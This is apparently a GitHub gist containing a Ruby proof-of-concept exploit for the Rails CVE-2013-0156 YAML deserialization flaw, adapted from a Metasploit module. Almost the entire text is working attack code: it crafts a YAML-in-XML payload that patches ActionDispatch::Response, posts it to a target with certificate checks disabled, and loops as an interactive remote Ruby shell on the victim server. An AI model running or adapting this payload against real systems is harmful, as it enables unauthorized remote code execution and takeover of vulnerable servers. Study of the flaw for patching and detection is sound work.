Skip to content

Instantly share code, notes, and snippets.

@jonmagic
Last active December 11, 2015 05:19
Show Gist options
  • Save jonmagic/4551467 to your computer and use it in GitHub Desktop.
Save jonmagic/4551467 to your computer and use it in GitHub Desktop.
# Rails CVE-2013-0156 IRB Shell PoC
#
# Adapted from
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb
# http://ronin-ruby.github.com/blog/2013/01/09/rails-pocs.html
# http://blog.codeclimate.com/blog/2013/01/10/rails-remote-code-execution-vulnerability-explained/
#
require "net/https"
require 'uri'
require 'yaml'
def remote_eval(url, code)
param_key = "_#{rand(1000000000)}"
evaled = "$evaled#{rand(1000000000)}"
injected_code = <<-RUBY
foo;
if !#{evaled}
class ::ActionDispatch::Response
def to_a
if request.params[:#{param_key}]
[200, {'Content-Type'=>'text/plain'}, [#{evaled}.inspect]]
else
to_ary
end
end
end
#{evaled} = (#{code});
end
__END__
RUBY
yaml = <<-YAML.strip
--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection
? #{injected_code.to_yaml.sub('--- ','').chomp}
: !ruby/object:OpenStruct
table:
:defaults: {}
YAML
xml = <<-XML
<#{param_key} type="yaml">#{yaml}</#{param_key}>
XML
uri = URI.parse(url)
http = Net::HTTP.new(uri.host, uri.port)
if uri.scheme == "https"
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
request = Net::HTTP::Post.new(uri.request_uri)
request['Content-Type'] = "text/xml"
request['X-HTTP-Method-Override'] = "GET"
request.body = xml
http.request(request).body
end
url = ARGV.shift
loop do
print ">> "
code = gets
puts "=> #{remote_eval(url, code)}"
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment